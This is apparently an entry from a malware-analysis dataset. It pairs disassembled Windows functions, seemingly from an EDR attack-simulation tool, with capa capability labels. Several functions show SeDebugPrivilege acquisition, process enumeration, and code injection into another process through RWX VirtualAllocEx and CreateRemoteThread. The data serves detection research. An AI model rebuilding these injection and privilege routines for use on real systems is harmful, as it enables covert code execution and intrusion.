joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400032e0
Capabilities:
Acquire debug privileges

Disassembly:
sub rsp, 0x78
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0x38], rax
lea r8, [rsp + 0x48]
mov edx, 0x28
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
mov dword [rsp + 0x30], eax
lea r8, [rsp + 0x40]
lea rdx, str.SeDebugPrivilege
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
mov dword [rsp + 0x30], eax
mov dword [rsp + 0x50], 1
mov eax, 0xc
imul rax, rax, 0
mov rcx, qword [rsp + 0x40]
mov qword [rsp + rax + 0x54], rcx
mov eax, 0xc
imul rax, rax, 0
mov dword [rsp + rax + 0x5c], 2
lea rax, [rsp + 0x34]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x60]
mov qword [rsp + 0x20], rax
mov r9d, 0x1c
lea r8, [rsp + 0x50]
xor edx, edx
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
add rsp, 0x78
ret

Function at 0x140007660
Capabilities:
Create thread
Enumerate processes

Disassembly:
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x2a0
mov qword [rsp + 0x30], 0
xor edx, edx
mov ecx, 6
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov qword [rsp + 0x38], rax
cmp qword [rsp + 0x38], 0xffffffffffffffff
je 0x14000774c
mov dword [rsp + 0x50], 0x238
lea rax, [rsp + 0x54]
mov rdi, rax
xor eax, eax
mov ecx, 0x234
rep stosb byte [rdi], al
lea rdx, [rsp + 0x50]
mov rcx, qword [rsp + 0x38]
call sub.KERNEL32.dll_Process32FirstW
test eax, eax
je 0x14000772d
lea rdx, str.CymulateEDRScenarioGenerator.exe
lea rcx, [rsp + 0x7c]
call fcn.14001f2d0
test eax, eax
je 0x1400076e9
lea rdx, [0x140041380]
lea rcx, [rsp + 0x7c]
call fcn.14001f2d0
test eax, eax
jne 0x14000771a
mov r8d, dword [rsp + 0x58]
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rsp + 0x30], rax
cmp qword [rsp + 0x30], 0
je 0x14000771a
mov edx, 0xffffffff
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
jmp 0x14000772d
lea rdx, [rsp + 0x50]
mov rcx, qword [rsp + 0x38]
call sub.KERNEL32.dll_Process32NextW
test eax, eax
jne 0x1400076bf
cmp qword [rsp + 0x30], 0
je 0x140007740
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
jmp 0x14000774e
mov rax, qword [rsp + 0x2b0]
cmp qword [rax + 0x88], 0
je 0x1400077d6
mov rax, qword [rsp + 0x2b0]
mov r9, qword [rax + 0x88]
lea r8, [0x1400413c0]
xor edx, edx
xor ecx, ecx
call fcn.140008fe0
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x40]
inc eax
cdqe
mov rcx, rax
call fcn.1400180e8
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x2b0]
mov rcx, qword [rsp + 0x48]
mov qword [rax + 0x98], rcx
mov rax, qword [rsp + 0x2b0]
mov r8, qword [rax + 0x88]
lea rdx, [0x1400413d0]
mov rax, qword [rsp + 0x2b0]
mov rcx, qword [rax + 0x98]
call fcn.140009130
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9, qword [rsp + 0x2b0]
lea r8, [0x140008dc0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, qword [rsp + 0x2b0]
mov qword [rcx + 0x58], rax
add rsp, 0x2a0
pop rdi
ret
Function at 0x140008a20
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x280
xor edx, edx
mov ecx, 6
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x28], 0xffffffffffffffff
je 0x140008ab4
mov dword [rsp + 0x30], 0x238
lea rax, [rsp + 0x34]
mov rdi, rax
xor eax, eax
mov ecx, 0x234
rep stosb byte [rdi], al
lea rdx, [rsp + 0x30]
mov rcx, qword [rsp + 0x28]
call sub.KERNEL32.dll_Process32FirstW
test eax, eax
je 0x140008aa9
lea rdx, str.CymulateEDR.exe
lea rcx, [rsp + 0x5c]
call fcn.14001f2d0
test eax, eax
jne 0x140008a96
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
jmp 0x140008ae2
lea rdx, [rsp + 0x30]
mov rcx, qword [rsp + 0x28]
call sub.KERNEL32.dll_Process32NextW
test eax, eax
jne 0x140008a72
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, qword [rsp + 0x290]
mov r8, qword [rax + 0x80]
lea rdx, str.Log:isEDRProcessRunning:false:_s__n
mov rcx, qword [rsp + 0x290]
call fcn.140008050
xor al, al
jmp 0x140008ae2
add rsp, 0x280
pop rdi
ret
Function at 0x140012020
Capabilities:
Parse pe header

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x1a0
mov qword [rsp + 0x30], 0
lea rax, [rsp + 0x50]
mov rdi, rax
xor eax, eax
mov ecx, 0x40
rep stosb byte [rdi], al
mov r9d, 0x40
lea r8, [rsp + 0x50]
mov rdx, qword [rsp + 0x1b8]
mov rcx, qword [rsp + 0x1b0]
call fcn.140012cb0
movzx eax, al
test eax, eax
je 0x14001215d
movzx eax, word [rsp + 0x50]
cmp eax, 0x5a4d
jne 0x14001215d
lea rax, [rsp + 0x90]
mov rdi, rax
xor eax, eax
mov ecx, 0x108
rep stosb byte [rdi], al
movsxd rax, dword [rsp + 0x8c]
mov rcx, qword [rsp + 0x1b8]
add rcx, rax
mov rax, rcx
mov r9d, 0x108
lea r8, [rsp + 0x90]
mov rdx, rax
mov rcx, qword [rsp + 0x1b0]
call fcn.140012cb0
movzx eax, al
test eax, eax
je 0x14001215d
cmp dword [rsp + 0x90], 0x4550
jne 0x14001215d
mov eax, dword [rsp + 0xe4]
mov dword [rsp + 0x20], eax
cmp dword [rsp + 0x20], 0
je 0x14001215d
mov eax, dword [rsp + 0x20]
mov ecx, eax
call fcn.1400180e8
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
mov qword [rsp + 0x28], rax
mov eax, dword [rsp + 0x20]
mov r9d, eax
mov r8, qword [rsp + 0x28]
mov rdx, qword [rsp + 0x1b8]
mov rcx, qword [rsp + 0x1b0]
call fcn.140012cb0
movzx eax, al
test eax, eax
je 0x140012147
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0x30], rax
jmp 0x14001215d
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0x40], rax
xor edx, edx
mov rcx, qword [rsp + 0x40]
call fcn.1400180e0
mov rax, qword [rsp + 0x30]
add rsp, 0x1a0
pop rdi
ret

Function at 0x140012260
Capabilities:
Inspect section memory permissions

Disassembly:
mov dword [rsp + 8], ecx
sub rsp, 0x28
mov dword [rsp], 0
mov eax, dword [rsp + 0x30]
and eax, 0x20000000
test eax, eax
je 0x1400122e7
mov eax, dword [rsp + 0x30]
and eax, 0x40000000
test eax, eax
je 0x1400122b8
mov eax, dword [rsp + 0x30]
and eax, 0x80000000
test eax, eax
je 0x1400122a0
mov dword [rsp + 4], 0x40
jmp 0x1400122a8
mov dword [rsp + 4], 0x20
mov eax, dword [rsp + 4]
mov ecx, dword [rsp]
or ecx, eax
mov eax, ecx
mov dword [rsp], eax
jmp 0x1400122e5
mov eax, dword [rsp + 0x30]
and eax, 0x80000000
test eax, eax
je 0x1400122cf
mov dword [rsp + 8], 0x80
jmp 0x1400122d7
mov dword [rsp + 8], 0x10
mov eax, dword [rsp + 8]
mov ecx, dword [rsp]
or ecx, eax
mov eax, ecx
mov dword [rsp], eax
jmp 0x140012350
mov eax, dword [rsp + 0x30]
and eax, 0x40000000
test eax, eax
je 0x140012323
mov eax, dword [rsp + 0x30]
and eax, 0x80000000
test eax, eax
je 0x14001230b
mov dword [rsp + 0xc], 4
jmp 0x140012313
mov dword [rsp + 0xc], 2
mov eax, dword [rsp + 0xc]
mov ecx, dword [rsp]
or ecx, eax
mov eax, ecx
mov dword [rsp], eax
jmp 0x140012350
mov eax, dword [rsp + 0x30]
and eax, 0x80000000
test eax, eax
je 0x14001233a
mov dword [rsp + 0x10], 8
jmp 0x140012342
mov dword [rsp + 0x10], 1
mov eax, dword [rsp + 0x10]
mov ecx, dword [rsp]
or ecx, eax
mov eax, ecx
mov dword [rsp], eax
mov eax, dword [rsp + 0x30]
and eax, 0x4000000
test eax, eax
je 0x140012367
mov eax, dword [rsp]
bts eax, 9
mov dword [rsp], eax
mov eax, dword [rsp]
add rsp, 0x28
ret
Function at 0x140013410
Capabilities:
Allocate or change rwx memory
Create thread
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x90
mov byte [rsp + 0x40], 0
lea rax, [0x140013d80]
lea rcx, [0x140013d20]
sub rax, rcx
mov dword [rsp + 0x44], eax
mov eax, dword [rsp + 0x44]
add rax, 0x18
mov dword [rsp + 0x58], eax
mov eax, dword [rsp + 0x58]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, eax
xor edx, edx
mov rcx, qword [rsp + 0xa0]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0x70], rax
cmp qword [rsp + 0x70], 0
je 0x1400135fe
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x60], rax
mov eax, dword [rsp + 0x44]
mov rcx, qword [rsp + 0x60]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x68], rax
lea rax, [rsp + 0x78]
mov rdi, rax
xor eax, eax
mov ecx, 0x18
rep stosb byte [rdi], al
lea rcx, [0x140042860]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, [0x140042850]
mov rcx, rax
call fcn.140013920
mov qword [rsp + 0x78], rax
mov rax, qword [rsp + 0xa8]
mov qword [rsp + 0x80], rax
mov eax, dword [rsp + 0x44]
mov r9d, eax
lea r8, [0x140013d20]
mov rdx, qword [rsp + 0x60]
mov rcx, qword [rsp + 0xa0]
call fcn.140012d90
movzx eax, al
test eax, eax
je 0x1400135e2
mov r9d, 0x18
lea r8, [rsp + 0x78]
mov rdx, qword [rsp + 0x68]
mov rcx, qword [rsp + 0xa0]
call fcn.140012d90
movzx eax, al
test eax, eax
je 0x1400135e2
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x60]
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0xa0]
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x1400135e2
mov edx, 0xffffffff
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x48], 0x54fd32fc
lea rdx, [rsp + 0x48]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_GetExitCodeThread]
test eax, eax
je 0x1400135d7
cmp dword [rsp + 0x48], 0xab02cd03
jne 0x1400135d7
mov r9d, 0x18
lea r8, [rsp + 0x78]
mov rdx, qword [rsp + 0x68]
mov rcx, qword [rsp + 0xa0]
call fcn.140012cb0
movzx eax, al
test eax, eax
je 0x1400135d7
movzx eax, byte [rsp + 0x88]
mov byte [rsp + 0x40], al
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rsp + 0x70]
mov rcx, qword [rsp + 0xa0]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
movzx eax, byte [rsp + 0x40]
add rsp, 0x90
pop rdi
ret
Function at 0x1400157b0
Capabilities:
Create thread

Disassembly:
mov byte [rsp + 0x10], dl
mov qword [rsp + 8], rcx
sub rsp, 0x58
mov byte [rsp + 0x30], 1
mov qword [0x1400552b0], 0
mov rcx, qword [rsp + 0x60]
call fcn.140011f90
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
cmp dword [rax + 0x28], 0
je 0x1400158dc
mov rax, qword [rsp + 0x38]
mov eax, dword [rax + 0x28]
mov rcx, qword [rsp + 0x60]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x38]
movzx eax, word [rax + 0x16]
and eax, 0x2000
test eax, eax
je 0x140015864
movzx eax, byte [rsp + 0x68]
test eax, eax
je 0x140015828
mov dword [rsp + 0x34], 1
jmp 0x140015830
mov dword [rsp + 0x34], 0
lea r8, [0x1400552b0]
mov edx, dword [rsp + 0x34]
mov rcx, qword [rsp + 0x60]
call qword [rsp + 0x48]
mov byte [rsp + 0x30], al
mov r8, qword [0x1400552b0]
lea rdx, str.Trying_call_DllMain__recieved_hDllMain:__d_n
mov rcx, qword [0x1400552a0]
call fcn.140008050
jmp 0x1400158dc
movzx eax, byte [rsp + 0x68]
test eax, eax
je 0x1400158dc
lea rdx, str.Called_exe_file_n
mov rcx, qword [0x1400552a0]
call fcn.140008050
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9, qword [rsp + 0x48]
lea r8, [0x140015770]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rsp + 0x40], rax
cmp qword [rsp + 0x40], 0
je 0x1400158bb
mov byte [rsp + 0x31], 1
jmp 0x1400158c0
mov byte [rsp + 0x31], 0
movzx eax, byte [rsp + 0x31]
mov byte [rsp + 0x30], al
cmp qword [rsp + 0x40], 0
je 0x1400158dc
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
movzx eax, byte [rsp + 0x30]
add rsp, 0x58
ret
Function at 0x140016b60
Capabilities:
Allocate or change rwx memory
Create thread
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x98
mov byte [rsp + 0x40], 0
mov rdx, qword [rsp + 0xa8]
mov rcx, qword [rsp + 0xa0]
call fcn.140012020
mov qword [rsp + 0x58], rax
cmp qword [rsp + 0x58], 0
je 0x140016ce1
mov rcx, qword [rsp + 0x58]
call fcn.140011f90
mov qword [rsp + 0x60], rax
mov rax, qword [rsp + 0x60]
cmp dword [rax + 0x28], 0
je 0x140016cc5
mov rax, qword [rsp + 0x60]
mov eax, dword [rax + 0x28]
mov rcx, qword [rsp + 0xa8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x78], rax
lea rax, [0x140016b30]
lea rcx, [0x140016af0]
sub rax, rcx
mov dword [rsp + 0x44], eax
mov eax, dword [rsp + 0x44]
mov dword [rsp + 0x48], eax
mov eax, dword [rsp + 0x48]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, eax
xor edx, edx
mov rcx, qword [rsp + 0xa0]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x140016cc5
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x68], rax
mov eax, dword [rsp + 0x44]
mov r9d, eax
lea r8, [0x140016af0]
mov rdx, qword [rsp + 0x68]
mov rcx, qword [rsp + 0xa0]
call fcn.140012d90
movzx eax, al
test eax, eax
je 0x140016ca9
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov rax, qword [rsp + 0x78]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x68]
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0xa0]
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov qword [rsp + 0x70], rax
cmp qword [rsp + 0x70], 0
je 0x140016ca9
mov byte [rsp + 0x41], 1
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rsp + 0x50]
mov rcx, qword [rsp + 0xa0]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0x80], rax
xor edx, edx
mov rcx, qword [rsp + 0x80]
call fcn.1400180e0
movzx eax, byte [rsp + 0x40]
add rsp, 0x98
ret

Function at 0x140018a40
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140018a8a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140018a8a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140018a8a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140018a8a
cmp dword [rcx + 0x84], 0xe
jbe 0x140018a8a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140018a8c
xor al, al
add rsp, 0x28
ret
Function at 0x140025b04
Capabilities:
Get disk information

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
push rsi
push rdi
push r14
sub rsp, 0x250
mov rax, qword [0x140054038]
xor rax, rsp
mov qword [rsp + 0x240], rax
lea rdx, [0x140045a60]
mov rbp, rcx
call fcn.14002f040
xor edi, edi
test rax, rax
je 0x140025bea
mov ebx, edi
call fcn.140027210
mov r14d, dword [rax]
call fcn.140027210
mov r8d, 0x104
lea rcx, [rsp + 0x30]
mov rdx, rbp
mov dword [rax], edi
call fcn.14002ef8c
mov rsi, rax
test rax, rax
je 0x140025b7b
call fcn.140027210
mov dword [rax], r14d
jmp 0x140025ba5
call fcn.140027210
cmp dword [rax], 0x22
jne 0x140025be2
call fcn.140027210
xor r8d, r8d
mov rdx, rbp
xor ecx, ecx
mov dword [rax], r14d
call fcn.14002ef8c
mov rbx, rax
mov rsi, rax
test rax, rax
je 0x140025be2
or rax, 0xffffffffffffffff
inc rax
cmp word [rsi + rax*2], di
jne 0x140025ba9
cmp rax, 3
je 0x140025bc4
mov rcx, rsi
call fcn.140025a60
test al, al
je 0x140025bd5
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_GetDriveTypeW]
cmp eax, 1
jbe 0x140025bd5
mov dil, 1
mov rcx, rbx
call fcn.14001f508
mov al, dil
jmp 0x140025bec
mov rcx, rbx
call fcn.14001f508
xor al, al
mov rcx, qword [rsp + 0x240]
xor rcx, rsp
call fcn.140018680
lea r11, [rsp + 0x250]
mov rbx, qword [r11 + 0x28]
mov rbp, qword [r11 + 0x30]
mov rsp, r11
pop r14
pop rdi
pop rsi
ret

Function at 0x140027ee0
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x140027cdc
Function at 0x140033ce0
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x140033d10
xor eax, eax
jmp 0x140033dd3
mov rbp, rbx
cmp word [rax], si
je 0x140033d35
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x140033d1c
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x140033d18
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.14002bd34
movsxd r14, eax
test eax, eax
jne 0x140033d73
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x140033d09
mov rcx, r14
call fcn.14002bcd4
mov rdi, rax
test rax, rax
jne 0x140033d8c
xor ecx, ecx
call fcn.14002bc98
jmp 0x140033d68
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.14002bd34
test eax, eax
jne 0x140033dbd
mov rcx, rdi
call fcn.14002bc98
jmp 0x140033dc7
xor ecx, ecx
call fcn.14002bc98
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret

Function at 0x140033df0
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor ebp, ebp
mov rbx, rax
test rax, rax
je 0x140033e77
mov rsi, rbx
cmp word [rax], bp
je 0x140033e36
or rax, 0xffffffffffffffff
inc rax
cmp word [rsi + rax*2], bp
jne 0x140033e20
lea rsi, [rsi + rax*2]
add rsi, 2
cmp word [rsi], bp
jne 0x140033e1c
sub rsi, rbx
add rsi, 2
sar rsi, 1
add rsi, rsi
mov rcx, rsi
call fcn.14002bcd4
mov rdi, rax
test rax, rax
je 0x140033e64
mov r8, rsi
mov rdx, rbx
mov rcx, rax
call fcn.1400190d0
mov rbp, rdi
xor ecx, ecx
call fcn.14002bc98
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x140036dd8
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov esi, edx
mov ebx, ecx
call fcn.14002b664
mov ecx, ebx
lea r8, [rsp + 0x30]
and ecx, 0x3ff
mov r9d, 2
bts ecx, 0xa
mov edx, 0x20000001
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
xor edx, edx
test eax, eax
je 0x140036e79
cmp ebx, dword [rsp + 0x30]
je 0x140036e72
test esi, esi
je 0x140036e72
mov r10, qword [rdi + 0x98]
mov r9d, edx
movzx r8d, word [r10]
lea rcx, [r10 + 2]
lea eax, [r8 - 0x41]
cmp ax, 0x19
jbe 0x140036e4d
sub r8w, 0x61
cmp r8w, 0x19
ja 0x140036e5a
movzx r8d, word [rcx]
inc r9d
add rcx, 2
jmp 0x140036e37
or rax, 0xffffffffffffffff
inc rax
cmp word [r10 + rax*2], dx
jne 0x140036e5e
cmp r9d, eax
setne dl
mov eax, edx
jmp 0x140036e7b
mov eax, 1
jmp 0x140036e7b
xor eax, eax
mov rbx, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret

Function at 0x1400389c0
Capabilities:
Get file size

Disassembly:
push rbx
sub rsp, 0x20
mov edx, dword [rcx + 0x14]
nop
shr edx, 3
test dl, 1
je 0x1400389d6
mov al, 1
jmp 0x140038a36
mov eax, dword [rcx + 0x14]
nop
test al, 0xc0
je 0x1400389e7
mov rax, qword [rcx + 8]
cmp qword [rcx], rax
je 0x140038a34
mov ecx, dword [rcx + 0x18]
nop
call fcn.14002fffc
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140038a34
mov r9d, 1
lea r8, [rsp + 0x38]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x140038a34
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x140038a34
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x38], rax
sete al
jmp 0x140038a36
xor al, al
add rsp, 0x20
pop rbx
ret

Function at 0x1400395f4
Capabilities:
Get disk information

Disassembly:
push rbx
sub rsp, 0x30
mov rax, qword [0x140054038]
xor rax, rsp
mov qword [rsp + 0x28], rax
cmp ecx, 0x1a
jbe 0x14003963e
call fcn.1400271f0
mov dword [rax], 0xf
call fcn.140027210
mov dword [rax], 0xd
call fcn.14001ea94
xor eax, eax
mov rcx, qword [rsp + 0x28]
xor rcx, rsp
call fcn.140018680
add rsp, 0x30
pop rbx
ret
xor ebx, ebx
test ecx, ecx
jne 0x140039649
lea eax, [rbx + 1]
jmp 0x14003962b
add cx, 0x40
mov dword [rsp + 0x22], 0x5c003a
mov word [rsp + 0x20], cx
lea rcx, [rsp + 0x20]
mov word [rsp + 0x26], bx
call qword [sym.imp.KERNEL32.dll_GetDriveTypeW]
test eax, eax
je 0x140039629
cmp eax, 1
setne bl
mov eax, ebx
jmp 0x14003962b
Function at 0x14003b58c
Capabilities:
Set environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xa0
xor r15d, r15d
mov r14, rdx
mov rsi, rcx
mov qword [rbp + 0x17], r15
xor edx, edx
mov qword [rbp + 0x1f], r15
lea rcx, [rbp - 0x39]
mov qword [rbp + 0x27], r15
mov qword [rbp + 0x2f], r15
mov edi, r15d
mov qword [rbp + 0x37], r15
mov byte [rbp + 0x3f], r15b
mov qword [rbp - 0x19], r15
mov qword [rbp - 0x11], r15
mov qword [rbp - 9], r15
mov qword [rbp - 1], r15
mov qword [rbp + 7], r15
mov byte [rbp + 0xf], r15b
call fcn.14001f1f4
mov rax, qword [rbp - 0x31]
mov ebx, 0xfde9
cmp dword [rax + 0xc], ebx
jne 0x14003b616
cmp byte [rbp - 0x21], r15b
je 0x14003b611
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, ebx
jmp 0x14003b64c
call fcn.14002f3cc
test eax, eax
jne 0x14003b638
cmp byte [rbp - 0x21], r15b
je 0x14003b630
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, 1
jmp 0x14003b64c
cmp byte [rbp - 0x21], r15b
je 0x14003b649
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, r15d
lea r8, [rbp + 0x77]
mov rcx, rsi
lea rdx, [rbp + 0x17]
call fcn.1400253ac
test eax, eax
jne 0x14003b6ec
xor edx, edx
lea rcx, [rbp - 0x39]
call fcn.14001f1f4
mov rax, qword [rbp - 0x31]
cmp dword [rax + 0xc], ebx
jne 0x14003b68b
cmp byte [rbp - 0x21], r15b
je 0x14003b6c0
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
jmp 0x14003b6c0
call fcn.14002f3cc
test eax, eax
jne 0x14003b6ac
cmp byte [rbp - 0x21], r15b
je 0x14003b6a5
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, 1
jmp 0x14003b6c0
cmp byte [rbp - 0x21], r15b
je 0x14003b6bd
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, r15d
mov r9d, ebx
lea r8, [rbp + 0x77]
lea rdx, [rbp - 0x19]
mov rcx, r14
call fcn.1400253ac
mov rdi, qword [rbp - 9]
test eax, eax
jne 0x14003b6ec
mov rcx, qword [rbp + 0x27]
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov ebx, eax
jmp 0x14003b6ef
mov ebx, r15d
cmp byte [rbp + 0xf], r15b
je 0x14003b6fd
mov rcx, rdi
call fcn.14002bc98
cmp byte [rbp + 0x3f], r15b
je 0x14003b70c
mov rcx, qword [rbp + 0x27]
call fcn.14002bc98
lea r11, [rsp + 0xa0]
mov eax, ebx
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret